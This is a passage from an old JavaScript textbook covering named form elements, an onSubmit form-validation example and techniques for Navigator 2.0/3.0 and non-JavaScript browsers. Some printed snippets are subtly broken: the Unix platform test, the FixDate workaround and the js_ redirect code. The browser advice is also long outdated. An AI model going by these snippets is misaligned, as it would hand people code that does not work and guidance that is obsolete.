The second unique feature of the Option object is that, in Navigator 3.0, they can be dynamically created at run-time. Option objects are created with the Option() constructor function, and can be added to the options[] array of a Select object by simple assignment. This options[] property has several special behaviors itself--if you decrease the value of options.length options will be deleted from the end of the list or drop-down menu displayed by the Select object. Similarly, if you set one of the entries in the options[] array to null, that option will be removed from the list or menu, and the elements following it in the array will be moved down one to fill up the newly vacated array element. For full details, see the Select and Option objects, and their properties in the reference section of this book.

Previous | Home | Next
Form Elements | Book Index | Naming Forms and Form Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] 17.5 Naming Forms and Form Elements

JavaScript: The Definitive Guide

Previous Chapter 17
Forms and Form Elements 		Next

17.5 Naming Forms and Form Elements

As we saw above, all form elements have a NAME attribute that must be set in their HTML tags, if the form is to be submitted to a CGI script. While form submission is not generally of interest to JavaScript programs, there is another useful reason to specify this NAME tag; we'll explain it below.

The <FORM> tag also has a NAME attribute that you can set. This attribute has nothing to do with form submission. It exists for the convenience of JavaScript programmers. If the NAME attribute is defined in a <FORM> tag, then when the Form object is created for that form, it will be stored as an element in the forms[] array of the Document object, as usual, but it will also be stored in its own personal property of the Document object. The name of this newly defined property is the value of the NAME attribute. Thus, if you define a form with HTML like this:

<FORM NAME="questionnaire">
   ...
</FORM>
Then you can refer to that form as:

document.questionnaire
Often, you'll find this more convenient than the array notation:

document.forms[2]

Note that the <IMG>, <APPLET>, and <EMBED> tags all also have NAME attributes that work the same way as the NAME attribute of <FORM>. But with forms, this style of naming goes a step further, because all of the elements contained within a form have NAME attributes. When you give a form element a NAME attribute, you create a new property of the Form object that refers to that element. The name of this property is the value of the attribute, of course. Thus, you can refer to an element named "zipcode" in a form named "address" as:

document.address.zipcode
With reasonably chosen names, this syntax is much more elegant than the alternative which relies on hard-coded array indices:

document.forms[1].elements[4]

In HTML forms that use Checkbox and Radio elements, it is common practice to give each of a set of related elements the same name. For example, if a form contains a number Radio buttons that allow the user to indicate their favorite web browser, then each of these buttons might be given the name "favorite". The VALUE property of one button might be "nn", and the value of another might be "ie". When the form is submitted, a string like "favorite=mosaic" will be sent to indicate the user's selection. Using the same name for multiple elements is not a problem in this case because only one of those elements can be selected at a time, so only one value can be submitted with that name.

When more than one element in a form has the same NAME attribute, JavaScript simply places those elements into an array using the specified name. So, if the Radio objects in the example above were part of our form named "questionnaire", then you could refer to them with expressions like these:

document.questionnaire.favorite[0]
document.questionnaire.favorite[1]

Previous | Home | Next
Form Element Names and Values | Book Index | Form Verification Example
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] 17.6 Form Verification Example

JavaScript: The Definitive Guide

Previous Chapter 17
Forms and Form Elements 		Next

17.6 Form Verification Example

We'll close our discussion of forms with an extended example that demonstrates several of the concepts we've been talking about. Example 17.2 shows how you might use the onSubmit() event handler of the Form object to perform input validation to notify the user and prevent the form from being submitted when it contains missing or invalid data. After studying this example, you may want to turn back to Example 1.3, the forms programming example with which we began this book. The code of that example will probably make more sense now that you are a JavaScript expert!

Example 17.2 defines a verify() function suitable for use as a generic form validator. It checks for empty non-optional fields, and can also check that numeric values are in fact numeric and that they fall within a specified numeric range. This verify() function relies on the type property of form elements to determine which elements are which, and also relies on additional user-defined properties to distinguish optional fields from required fields and to specify the allowed range for numeric fields. Note also how it reads the value property of input fields, and uses the name property of those fields when reporting errors. Figure 17.3 shows an example form using this verification scheme, and the error message that is displayed when the user attempts to submit the form before correctly filling it in.

Figure 17.3: A form that failed validation

[Graphic: Figure 17-3]

Example 17.2: Performing Form Validation

<SCRIPT LANGUAGE="JavaScript1.1">
// A utility function that returns true if a string contains only
// whitespace characters.
function isblank(s)
{
    for(var i = 0; i < s.length; i++) {
        var c = s.charAt(i);
        if ((c != ' ') && (c != '\n') && (c != '\t')) return false;
    }
    return true;
}
// This is the function that performs form verification. It will be invoked
// from the onSubmit() event handler. The handler should return whatever
// value this function returns.
function verify(f)
{
    var msg;
    var empty_fields = "";
    var errors = "";

    // Loop through the elements of the form, looking for all
    // text and textarea elements that don't have an "optional" property
    // defined. Then, check for fields that are empty and make a list of them.
    // Also, if any of these elements have a "min" or a "max" property defined,
    // then verify that they are numbers and that they are in the right range.
    // Put together error messages for fields that are wrong.
    for(var i = 0; i < f.length; i++) {
        var e = f.elements[i];
        if (((e.type == "text") || (e.type == "textarea")) && !e.optional) {
            // first check if the field is empty
            if ((e.value == null) || (e.value == "") || isblank(e.value)) {
                empty_fields += "\n          " + e.name;
                continue;
            }
            // Now check for fields that are supposed to be numeric.
            if (e.numeric || (e.min != null) || (e.max != null)) {
                var v = parseFloat(e.value);
                if (isNaN(v) ||
                    ((e.min != null) && (v < e.min)) ||
                    ((e.max != null) && (v > e.max))) {
                    errors += "- The field " + e.name + " must be a number";
                    if (e.min != null)
                        errors += " that is greater than " + e.min;
                    if (e.max != null && e.min != null)
                        errors += " and less than " + e.max;
                    else if (e.max != null)
                        errors += " that is less than " + e.max;
                    errors += ".\n";
                }
            }
        }
    }
    // Now, if there were any errors, then display the messages, and
    // return false to prevent the form from being submitted. Otherwise
    // return true.
    if (!empty_fields && !errors) return true;
    msg  = "______________________________________________________\n\n"
    msg += "The form was not submitted because of the following error(s).\n";
    msg += "Please correct these error(s) and re-submit.\n";
    msg += "______________________________________________________\n\n"
    if (empty_fields) {
        msg += "- The following required field(s) are empty:"
                + empty_fields + "\n";
        if (errors) msg += "\n";
    }
    msg += errors;
    alert(msg);
    return false;
}
</SCRIPT>
<!------------------------------------------------------------------------
     Here's a sample form to test our verification with. Note that we
     call verify() from the onSubmit() event handler, and return whatever
     value it returns. Also note that we use the onSubmit() handler as
     an opportunity to set properties on the form objects that verify()
     will use in the verification process.
-------------------------------------------------------------------------->
<FORM onSubmit="
    this.firstname.optional = true;
    this.phonenumber.optional = true;
    this.zip.min = 0;
    this.zip.max = 99999;
    return verify(this);
">
First name: <INPUT TYPE=text NAME="firstname">
Last name: <INPUT TYPE=text NAME="lastname"><BR>
Address:<BR><TEXTAREA NAME="address" ROWS=4 COLS=40></TEXTAREA><BR>
Zip Code: <INPUT TYPE=text NAME="zip"><BR>
Phone Number: <INPUT TYPE=text NAME="phonenumber"><BR>
<INPUT TYPE=submit>
</FORM>

Previous | Home | Next
Naming Forms and Form Elements | Book Index | Compatibility Techniques
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 18] Compatibility Techniques

JavaScript: The Definitive Guide

Previous Chapter 18 Next

18. Compatibility Techniques

Contents:
Platform, Browser, and Version- Specific Compatibility
Compatibility with Non-JavaScript Browsers
Compatibility with JavaScript 1.0 Browsers
Compatibility Through CGI Scripts

JavaScript, like Java, is one of a new breed of "platform-independent" languages. That is, you can develop a program in JavaScript, and expect to run it unchanged in a JavaScript-enabled web browser running on any type of computer with any type of operating system. Though this is the ideal, we live in an imperfect world, and have not yet reached that state of perfection.

There are, and probably always will be, compatibility problems that we JavaScript programmers must bear in mind. The one fact that we must always remember is that it is a heterogeneous net out there. Your JavaScript programs will be run on many different platforms, using browsers from possibly many different vendors, and for any given browser, using various versions of the browser. This can be difficult to remember for those of us who come from the non-portable past when programs were developed on a platform-specific basis. Remember: it doesn't matter what platform we develop a program on. It may work fine on that platform, but the real test is whether it works fine (or fails gracefully) on all platforms.

The compatibility issues to be aware of fall into two broad categories: platform, browser, and version-specific features or bugs, and language-level incompatibilities, including the incompatibility of JavaScript with non-JavaScript browsers. This chapter discusses techniques for coping with compatibility issues in both of these areas. If you've worked your way through all the previous chapters in this book, you are probably an expert JavaScript programmer, and you may already be writing serious JavaScript programs. Don't release those programs on the Internet (or onto a heterogeneous intranet) before you've read this chapter, though!

18.1 Platform, Browser, and Version- Specific Compatibility

When developing production-quality JavaScript code, testing and knowledge of platform-specific incompatibilities are your chief allies. If you know, for example, that Navigator 2.0 on Macintosh platforms always gets the time wrong by about an hour, then you can take steps to deal with this. If you know that Windows platforms do not automatically clear your setting of the status line when the mouse moves off of a hypertext link, then you can provide an appropriate event handler to explicitly clear the status line. If you know that Internet Explorer 3.0 uses ActiveX to communicate with java applet while Navigator uses Netscape's LiveConnect mechanism, you can write a page that uses the appropriate mechanism depending on the browser currently in use.

Knowledge of existing incompatibilities is crucial to writing compatible code, and you'll probably find Appendix B, Known Bugs, Appendix C, Differences between Navigator 2.0 and 3.0, and Appendix D, JavaScript Incompatibilities in Internet Explorer 3.0, quite helpful in this area. Once you have identified an area of incompatibility, there are a number of basic approaches you can take to coping with it. They are described in the following subsections.

The Least-Common-Denominator Approach

One technique for dealing with incompatibilities is to avoid them like the plague. For example, the Date object is notoriously buggy in Navigator 2.0. If you want Navigator 2.0 users to be able to use your programs, then you can simply avoid relying upon the Date object altogether.

As another example, Navigator 3.0 and Internet Explorer 3.0 both support the opener property of the Window object, but Navigator 2.0 does not. The least-common-denominator approach says that you should not use this property. Instead, you can create an equivalent property of your own whenever you open an new window:

newwin = window.open("", "new", "width=500, height=300");
newwin.creator = self;
If you consistently set a creator property of a new window, then you can rely on it instead of the non-portable opener property.

With this technique you use only features that are known to work everywhere. It doesn't allow you to write cutting-edge programs or push the envelope, but it results in very portable, safe programs that can serve a lot of important functions.

Defensive Coding

With the "defensive coding" approach to compatibility you write code that contains platform-independent workarounds for platform-specific incompatibilities. For example, if you set the status property of a Window object from the onMouseOver() event handler to display a custom message in the status line, the status line will be cleared when you move the mouse off the hyperlink on all platforms except the crucial Windows platform. To correct for this, you might just get into the habit of including an onMouseOut() event handler to clear the status line.

To return to the example of the opener property from above, the defensive coding approach to compatibility does not discard the property altogether, but does insert a workaround to take care of platforms that do not support the property:

newwin = window.open("", "new", "width=500, height=300");
if (!newwin.opener) newwin.opener = self;

Note how we tested for the existence of the opener property above. The same technique works to test for the existence of methods. For example, the split() method of the String object only exists for JavaScript 1.1 implementations, so using defensive coding we would write our own version of this function that works for JavaScript 1.0 and JavaScript 1.1. But for efficiency we'd like to use the fast built-in method on those platforms that do support it. Our platform-independent code to split() a string might end up looking like this:

if (s.split)  // if method exists, use it
    a = s.split(":");
else          // otherwise, use our alternative implementation
    a = mysplit(s, ":");

Defensive coding using platform-independent workarounds is a useful and practical approach to incompatibilities. It relies on being able to come up with appropriate platform-independent workarounds, such as the following ingenious workaround for the Navigator 2.0 Macintosh date-skew bug, invented by Bill Dortch:

function FixDate(d)
{
    // Create a new Date(0) to detect any skew, and subtract it.
    d.setTime(d.getTime - (new Date(0)).getTime())
}
Sometimes, though, you won't be able to develop a platform-independent workaround and will have to take a more aggressive, platform-specific, approach to incompatibilities.

Platform-Specific Workarounds

When the least-common denominator and defensive coding approaches to incompatibilities won't work, you may find yourself having to create platform-specific workarounds. Recall from Chapter 13, The Navigator, Location, and History Objects, that the navigator property of the Window object provides information about the vendor and version of the browser and about the platform it is running on. You can use this information to insert code that is very platform-specific into your program. You might use this approach to distinguish between Navigator and Internet Explorer, for example, when working with Java applets or data embedded with the <EMBED> tag.

Another example of a platform-specific workaround might involve the bgColor property of the Document object. On Windows and Mac platforms, you can set this property at run time to change the background color of a document. Unfortunately, when you do this on Unix platforms, the color changes, but the document contents temporarily disappear. If you wanted to create a special effect using a changing background color, you could use the Navigator object to test for Unix platforms and simply skip the special effect for those platforms.[1] The code could look like this:

if (navigator.appVersion.substring("X11") == -1) // if not a Unix platform
    fade_bg_color();                             // then do the special effect

[1] It's okay; we Unix users are accustomed to missing out on all the fun!

Ignore the Problem

An important question to ask when considering any incompatibility is "how important is it?" If the incompatibility is a minor or cosmetic one, or affects a browser or platform that is not widely used, or only affects an out-of-date version of a browser, then you might simply decide to ignore the problem and let the users affected by it cope with it on their own.

For example, earlier we suggested defining an onMouseOut() event handler to correct for the fact that Navigator 2.0 and 3.0 for Windows do not correctly clear the status line. Unfortunately, the onMouseOut() event handler does not exist in Navigator 2.0, so this workaround won't work for that platform. If you expect your application to have a lot of users who use Navigator 2.0 on Windows, and you think that it is really important to get that status line cleared, then you'll have to develop some other workaround. For example, you could use setTimeout() in your onMouseOver() event handler to arrange for the status line to be cleared in two seconds. But this solution brings problems with it--what if the mouse is still over the hypertext link and the status line shouldn't be cleared in two seconds--and a simpler approach in this case might really be to ignore the problem.

Fail Gracefully

Finally, there are some incompatibilities that cannot be ignored and that cannot be worked around. In this case, your programs should work correctly on all platforms, browsers, and versions that provide the needed features, and should fail gracefully on all others. Failing gracefully means recognizing that the required features are not available and informing the user that they will not be able to use your JavaScript program.

For example, the image replacement technique we saw in Chapter 16, Special Effects with Images, does not work in Navigator 2.0 or Internet Explorer 3.0, and there is really no workaround that can simulate it. Therefore, we should not even attempt to run the program on those platforms--instead we should politely notify the user of the incompatibility.

Failing gracefully can be harder than it sounds. Much of the rest of this chapter explains techniques for doing so.

Previous | Home | Next
Form Verification Example | Book Index | Compatibility with Non-JavaScript Browsers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 18] 18.2 Compatibility with Non-JavaScript Browsers

JavaScript: The Definitive Guide

Previous Chapter 18
Compatibility Techniques 		Next

18.2 Compatibility with Non-JavaScript Browsers

When a user without a JavaScript-capable browser visits your web pages, they obviously won't be able run your JavaScript programs. Therefore, your JavaScript scripts should fail gracefully when read into browsers that do not understand JavaScript. There are two components to this. First, they must not simply format and display your entire JavaScript program as if it was HTML text. And second, they should display a message informing the visitor that their browser cannot correctly handle the page. You can do both of these things with some carefully placed comments.

Hiding Scripts from Old Browsers

Web browsers that support JavaScript will execute the JavaScript statements that appear between the <SCRIPT> and </SCRIPT> tags. Browsers that don't support JavaScript, but that recognize the <SCRIPT> tag, will simply ignore everything between <SCRIPT> and </SCRIPT>. This is as it should be. Other, older browsers, however (and there are a lot of them), do not recognize the <SCRIPT> and </SCRIPT> tags, and so they ignore the tags themselves, and treat all the JavaScript between them as text to be displayed. Users of old browsers cannot run your JavaScript programs, and this should be punishment enough--they should not also have to look at your code!

In order to prevent this, you enclose the body of your scripts within an HTML comment, using the format shown in Example 18.1.

Example 18.1: A Script Hidden from Old Browsers

1  <SCRIPT LANGUAGE="JavaScript">
2  <!-- begin HTML comment that hides the script
3          .
4          . JavaScript statements go here
5          .
6  // end HTML comment that hides the script -->
7  </SCRIPT>

Browsers that do not understand the <SCRIPT> and </SCRIPT> tags simply ignore them. Thus, lines 1 and 7 in Example 18.1 have no effect on these browsers. They'll ignore lines 2 through 6 as well, because the first four characters on line 2 begin an HTML comment, and the last three characters on line 6 end that comment--everything between is ignored by the HTML parser.

This script-hiding technique also works for browsers that do support JavaScript. Lines 1 and 7 indicate the beginning and ending of a script. As noted in Chapter 2, Lexical Structure, JavaScript-enabled web browsers recognize the HTML comment opening string <!--, but treat it as a single-line comment. Thus, a browser with JavaScript support treats line 2 as a single-line comment. Similarly, line 6 begins with the // single-line comment string, so that line is ignored by JavaScript-enabled browsers as well. This leaves lines 3 through 5, which are executed as JavaScript statements.

While it takes a little getting used to, this simple and elegant mix of HTML and JavaScript comments do exactly what we need--prevent JavaScript code from being displayed by browsers that do not support JavaScript. You should get in the habit of using these comments with all your scripts. The comments need not be as verbose as this, of course. It is common to see scripts that look like this:

<SCRIPT LANGUAGE="JavaScript">
<!-- begin hiding
  document.write(new Date());
// end hiding -->
</SCRIPT>
It is also common to strip the English text out of the comments:

<SCRIPT LANGUAGE="JavaScript">
<!--
  document.write(new Date());
// -->
</SCRIPT>
When writing very short scripts, you can even compress them by removing some of the line breaks:

<SCRIPT LANGUAGE="JavaScript"> <!--
  document.write(new Date());
// --> </SCRIPT>
And even the following is legal:

<SCRIPT LANGUAGE="JavaScript"> <!--
  document.write(new Date()); // --> </SCRIPT>
The only rule to hiding JavaScript code with an HTML comment is that there must be a line break after the <!-- that opens the comment. Remember that this functions as a JavaScript comment, and comments out the remainder of the line. So the JavaScript interpreter won't run any code that follows it.

This commenting technique has solved the problem of hiding our JavaScript code from browsers that can't run it. The next step in failing gracefully is to display a message to the user letting them know that the page cannot run. The next sub-section shows how to accomplish this.

Notifying Users of Old Browsers

In order to inform users of old browsers that their browser cannot successfully run the JavaScript programs on a web page we need some technique for displaying a message on an old browser but not displaying it on a JavaScript-capable browser. This would be easy if we could use a JavaScript if statement and the document.write() method to display the message, but of course we can't do this if the browser doesn't understand JavaScript in the first place. So instead we again rely on HTML comments and take advantage of the fact that JavaScript treats HTML comments differently than HTML does.

JavaScript treats the <!-- sequence that begins an HTML comment as a single-line comment like //. This means that the following text is commented out in both HTML and in JavaScript:

<!-- This text is commented out in HTML and JavaScript -->
JavaScript doesn't recognize the --> closing comment and doesn't care where it occurs, however, so the following text is commented out in JavaScript but not in HTML:

<!-- --> This text is commented out in JavaScript, but not in HTML.
Herein lies the secret to displaying messages on non-JavaScript browsers but not on JavaScript-enabled browsers. Example 18.2 shows what our JavaScript scripts might look like with our JavaScript code hidden from the HTML parser, as above, and with our HTML messages hidden from the JavaScript interpreter.

Example 18.2: Displaying a Message on Non-JavaScript Browsers

<SCRIPT LANGUAGE="JavaScript">
<!-- The message below will only display on non-JavaScript browsers -->
<!-- --> <HR><H1>This Page Requires JavaScript</H1>
<!-- --> Your web browser is not capable of running JavaScript programs,
<!-- --> so you will not be able to use this page. Please consider
<!-- --> upgrading to the latest version of either Netscape Navigator
<!-- --> or Microsoft Internet Explorer.
<!-- --> <HR>
<!-- This HTML comment hides the script from non-JavaScript browsers
        .
        . JavaScript code goes here
        .
// This JavaScript comment is also the end of the HTML comment above. -->
</SCRIPT>

Hiding Scripts from Really Old Browsers

One flaw in the script-hiding scheme described above is that some older web browsers recognize the <!-- string to begin a comment, but then end the comment with a > character alone, instead of looking for a complete --> string. This means that if the > character appears anywhere within your JavaScript code, either in a string, or as one of the >, >=, >> or >>> operators, then the HTML parser for these older browsers will close the comment, and will treat the rest of your script as HTML text to be formatted and displayed.

There are two possible solutions to this problem. The first is to ignore it. Maybe being forced to look at your JavaScript code will encourage users of these really old browsers to upgrade to one that supports the correct HTML comment syntax! Unfortunately, the Lynx browser, prior to version 2.6, is one of the ones that has the problem. This browser for text only terminals fills an important niche, and there are quite a few copies in use. In version 2.6, comment syntax is no longer an issue for Lynx, because it now correctly recognizes the <SCRIPT> tag and ignores anything between it and </SCRIPT>.

The only other solution to this problem is somewhat tedious and not entirely satisfactory. Since the problem is with the ">" character appearing in your JavaScript code, the solution is to make sure that that character does not appear, at least not in its unescaped form. You can do this with the following rules:

  • Anywhere > appears within a string, replace it with the characters \076--this tells JavaScript to use the character with the same encoding as the > character.

  • Replace expressions of the form (a > b) with the equivalent (b <= a).

  • Replace expressions of the form (a >= b) with the equivalent (b < a).

  • Replace the >> and >>> operators with division by the appropriate power of 2, and with appropriate sign manipulation. Fortunately, these operators are rarely used; if you ever need to use them, you'll understand them well enough to figure out the correct replacement.

  • Do not try to replace the > character with the HTML escape &gt;. The HTML parser recognizes this string, but the JavaScript interpreter doesn't.

Falling Back to a Non-JavaScript Page

Sometimes, if a browser cannot run the scripts in one web page, you'd like to have it load some other page that does not use JavaScript. This page might be a CGI-based version of your program, for example, or it might simply contain static HTML content, formatted in a way that does not rely on embedded JavaScript.

Loading an alternate page would be easy if we could use JavaScript, but obviously, we can't. What we can do, however, instead of "falling back" on a non-JavaScript page is turn things around and "skip ahead" to a JavaScript page if JavaScript is supported. That is, we load the non-JavaScript page by default. This page will actually contain a short script. If the script runs, then JavaScript is supported, and the script uses the Location object to read in the JavaScript version of the page. Example 18.3 shows an example HTML document using this technique.

Example 18.3: Loading a JavaScript-Based Page Only if JavaScript Is Supported

<HEAD>
<SCRIPT LANGUAGE="JavaScript">    <!-- hide script
location = "my_js_home_page.html";      // stop hiding -->
</SCRIPT>
<TITLE>My Home Page (Non-JavaScript Version)</TITLE>
</HEAD>
<BODY>
        .
        . Arbitrary, non-JavaScript HTML goes here
        .
</BODY>

You can even automate this process. If every non-JavaScript web page in a directory has a JavaScript equivalent with a filename prefix of "js_", then you might use code like this at the top of a non-JavaScript page to load in the equivalent when JavaScript is supported:

<SCRIPT>                        <!-- hide script
  var pathname = location.path;
  var filename = path.substring(path.lastIndexOf("/")+1, path.length);
  location = "js_" + filename;  // stop hiding -->
</SCRIPT>

There is one shortcoming to the technique shown here. If the user loads a non-JavaScript page in a JavaScript-capable browser, the short initial script will take them to the full JavaScript page. This is what we want. But when they click on the browser's Back, they'll move to the non-JavaScript page, and the script there will send them forward again! In effect, this technique breaks the Back button. With Navigator 3.0, the workaround is to use the replace() method of the Location object rather than assigning directly to the location property. So you should replace the code above with this:

<SCRIPT>                        <!-- hide script
  var path = location.path;
  var filename = "js/" + path.substring(path.lastIndexOf("/")+1, path.length);
  if (location.replace) location.replace(filename)
  else location = filename;     // stop hiding -->
</SCRIPT>

Previous | Home | Next
Platform, Browser, and Version- Specific Compatibility | Book Index | Compatibility with JavaScript 1.0 Browsers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 18] 18.3 Compatibility with JavaScript 1.0 Browsers

JavaScript: The Definitive Guide

Previous Chapter 18
Compatibility Techniques 		Next

18.3 Compatibility with JavaScript 1.0 Browsers

The previous section discussed compatibility techniques that are useful when JavaScript 1.0 (or JavaScript 1.1) code is loaded into a browser that does not support JavaScript. This section discusses techniques you can use when JavaScript 1.1 code is loaded into browsers that only support JavaScript 1.0. The basic goals are the same: we need to prevent the code from being interpreted by browsers that don't understand it, and we need to display a special message on those browsers that informs the user that their browsers can't run the scripts on the page.

The LANGUAGE Attribute

The first goal is easy. As we saw in Chapter 10, Client-Side Program Structure, we can prevent a JavaScript 1.0 browser from attempting to run code that requires JavaScript 1.1 by setting the LANGUAGE attribute of the <SCRIPT> tag appropriately. It looks like this:

<SCRIPT LANGUAGE="JavaScript1.1">
<!-- Hide from non-JavaScript browsers
        .
        .  JavaScript 1.1 code goes here
        .
// Done hiding -->
</SCRIPT>
Note that we still have to use our trick with HTML comments to prevent old non-JavaScript browsers from formatting our JavaScript code as HTML.

Note that the use of the LANGUAGE attribute is a perfectly general technique. When the next version of JavaScript (presumably known as "JavaScript1.2") arrives, we'll be able to prevent JavaScript 1.0 and JavaScript 1.1 browsers from interpreting 1.2-level code by specifying LANGUAGE="JavaScript1.2".

<NOSCRIPT>

Hiding our JavaScript 1.1 code from browsers that can't understand it was easy. It turns out that gracefully displaying a message on all browsers that don't understand our JavaScript 1.1 code is not nearly so straightforward. When we wanted to display a message for non-JavaScript browsers that couldn't run our JavaScript 1.0 code used the comment trick shown in Example 18.2. This technique will still work when our JavaScript 1.1 code is read by non-JavaScript browsers, but it won't work when that code is read by JavaScript 1.0 browsers.

The <NOSCRIPT> and </NOSCRIPT> tags provide a partial solution. These tags were introduced by Netscape in Navigator 3.0. The intent of these tags is that anything between them will be ignored on a script-capable browser and will be displayed on a script-incapable browser. This is a simple, obvious idea, but the implementation isn't quite right. Since these tags were introduced in Navigator 3.0, Navigator 2.0 does not know about them, and so it ignores them and displays any HTML that appears between them. Navigator 3.0, on the other hand knows about these tags, and since it is a JavaScript-enabled browser it ignores all the HTML between the tags. What this means is that <NOSCRIPT> and </NOSCRIPT> provide us a way to display a message on Navigator 2.0 (a JavaScript 1.0 browser) that does not appear on Navigator 3.0 (a JavaScript 1.1 browser). Example 18.4 shows how you might use these tags to display a message when our JavaScript 1.1 code could not be run.

Example 18.4: Displaying a Message with <NOSCRIPT>

<HTML>
<HEAD><TITLE>My Cool JavaScript 1.1 Page</TITLE></HEAD>
<BODY>
<H1>My Cool JavaScript 1.1 Page</H1>
<NOSCRIPT>
    <!-- This message will be displayed by Navigator 2.0 and -->
    <!-- by non-JavaScript browsers -->
    <HR><I>
    This page depends heavily on JavaScript 1.1.<BR>
    Since your browser doesn't seem support that version of
    JavaScript, you're missing out on a lot of cool stuff!
    </I><HR>
</NOSCRIPT>
<SCRIPT LANGUAGE="JavaScript1.1"> <!--
    // My Cool JavaScript 1.1 code goes here
// --></SCRIPT>
</BODY></HTML>

Unfortunately, this <NOSCRIPT> technique is not entirely adequate. Since Navigator 2.0 does not recognize <NOSCRIPT>, this tag does not serve to distinguish JavaScript-enabled browsers from non-JavaScript browser. In the example above, we use it to distinguish JavaScript 1.1 browsers from JavaScript 1.0 browsers and from non-JavaScript browsers. But this use isn't correct either. It turns out that Internet Explorer 3.0 recognizes <NOSCRIPT>, and since it supports scripting, even JavaScript 1.0 scripting, it ignores everything between <NOSCRIPT> and </NOSCRIPT>. While this is the technically correct thing to do, the incompatibility between Navigator and Internet Explorer renders the <NOSCRIPT> tag practically useless. What this means is that the message shown in Example 18.4 will be displayed, as desired, in Navigator 2.0 and in non-JavaScript browsers, but it will not be displayed by Internet Explorer.

There is another problem with <NOSCRIPT> as well. It is not a general-purpose mechanism. When JavaScript 1.2 is out, there will no way to use <NOSCRIPT> to display a message on all browsers that do not support that version of the language.

Failing Gracefully the Hard Way

Since <NOSCRIPT> doesn't do quite what we want we have to be more explicit in displaying our messages. We'll revert to using HTML comments to display our failure message on non-JavaScript browsers, and we'll use JavaScript 1.0 to display a message on JavaScript-enabled browsers that do not support JavaScript 1.1. Example 18.5 shows how we do it.

Example 18.5: Displaying a Message for Browsers That Do Not Support JavaScript 1.1

<!-- Set a variable to determine what version of JavaScript we support -->
<!-- This technique can be extended to any number of language versions -->
<SCRIPT LANGUAGE="JavaScript"> <!--
  _version = 10; // --> </SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.1"> <!--
  _version = 11; // --> </SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.2"> <!--
  _version = 12; // --> </SCRIPT>
<!-- If the version is not high enough, display a message -->
<!-- This version of the message appears for JavaScript 1.0 browsers -->
<SCRIPT LANGUAGE="JavaScript"> <!--
  if (_version < 11) {
    document.write('<HR><H1>This Page Requires JavaScript 1.1</H1>');
    document.write('Your JavaScript 1.0 browser cannot run this page.<HR>');
  }
// --> </SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.1">
<!-- This version of the message will appear on non-JavaScript browsers -->
<!-- --> <HR><H1>This Page Requires JavaScript 1.1</H1>
<!-- --> Your non-JavaScript browser cannot run this page.<HR>
<!--  Start hiding the actual program code
        .
        .  The actual JavaScript 1.1 code goes here.
        .
// Done hiding -->
</SCRIPT>

While the technique shown in Example 18.5 is not nearly so elegant as the <NOSCRIPT> solution, the important points to note are that it works correctly with Internet Explorer, and that it is extensible for future versions of the language. That is, this technique will allow you to display messages on JavaScript 1.0, JavaScript 1.1, and non-JavaScript browsers when you write code that only works for JavaScript 1.2.

Loading a New Page for Compatibility

In Example 18.3 we saw how you could use the Location object to read in a JavaScript-based page if JavaScript is supported, and otherwise simply use a non-JavaScript page. You can obviously use this same technique to load a JavaScript 1.1 page from a default JavaScript 1.0 page, or vice versa.

If we take this idea a couple of steps further, we can come up with some interesting variations. Example 18.6 shows one such variation. It is a short program that tests whether JavaScript 1.1 is supported. If so, it uses the Location.replace() method to load in a JavaScript 1.1 page (recall that using replace() prevents the Back button from breaking). If JavaScript 1.1 is not supported, it displays a message saying so on either a JavaScript 1.0 browser or a non-JavaScript browser.

Example 18.6: A Web Page to Test for JavaScript Compatibility

<!-- This script jumps to a new page if JavaScript 1.1 is supported -->
<!-- it also set a flag that we can test for below so we don't display -->
<!-- the message during the time the browser is loading the new file -->
<SCRIPT LANGUAGE="JavaScript1.1"> <!--
location.replace(location.search.substring(1)); self.loading = true;
// --> </SCRIPT>
<!-- Otherwise we display a message, either in HTML or with JavaScript 1.0 -->
<SCRIPT LANGUAGE="JavaScript">
<!-- --> <HR><H1>This Page Requires JavaScript 1.1</H1>
<!-- --> Your non-JavaScript browser cannot run this page.<HR>
<!--
  if (!self.loading) {
    document.write('<HR><H1>This Page Requires JavaScript 1.1</H1>');
    document.write('Your JavaScript 1.0 browser cannot run this page.<HR>');
  }
// -->
</SCRIPT>

The most interesting thing about this example is that it is a generic one--the name of the JavaScript 1.1 file to be loaded is encoded in the search portion of the original URL, and that file will be loaded only if JavaScript 1.1 is supported. Thus if the file in this example had the name testjs11.html, then you could use it in URLs like the one shown in this hyperlink:

<A HREF="http://my.isp.net/~david/utils/testjs11.html?../js/cooljs11.html">
Visit my cool JavaScript 1.1 page!
</A>

The other thing to note about Example 18.6 is that (at least with Navigator 3.0) calling Location.replace() starts a new page loading but does not immediately stop the current page from executing. Therefore, this example has to set a flag when it starts loading the specified JavaScript 1.1 page. If this flag is set, then the JavaScript 1.0 code in the example will not display the message. If it didn't do this, the message would briefly flash on the screen before the JavaScript 1.1 page was loaded. For this same reason the example can't simply display the compatibility message in a normal HTML <BODY>.

Included Files and Compatibility with Navigator 2.0

As we saw in Chapter 10, Client-Side Program Structure, Navigator 3.0 can use the SRC attribute of the <SCRIPT> tag to refer indirectly to a file of JavaScript code rather than having that code appear directly in the HTML file. This is a very useful thing to do for a number of reasons, including modularity, ease of code maintenance and reuse, and caching efficiency on the client-side.

The use of the SRC attribute also makes it somewhat easier to fail gracefully and display a message. Example 18.7 shows how. This example relies on the fact that a JavaScript 1.0 browser doesn't understand the SRC attribute and tries to execute the code between the <SCRIPT> and </SCRIPT> tags.

Example 18.7: Displaying a Failure Message When Using <SCRIPT SRC=>

<SCRIPT LANGUAGE="JavaScript" SRC="../javascript/util.js">
<!-- This is the message for non-JavaScript browsers -->
<!-- --> <H1>Sorry, this page requires Netscape Navigator 3.0</H1>
<!--  code for Navigator 2.0 browsers here
document.write("<H1>Sorry, this page requires Navigator 3.0.</H1>");
// --></SCRIPT>

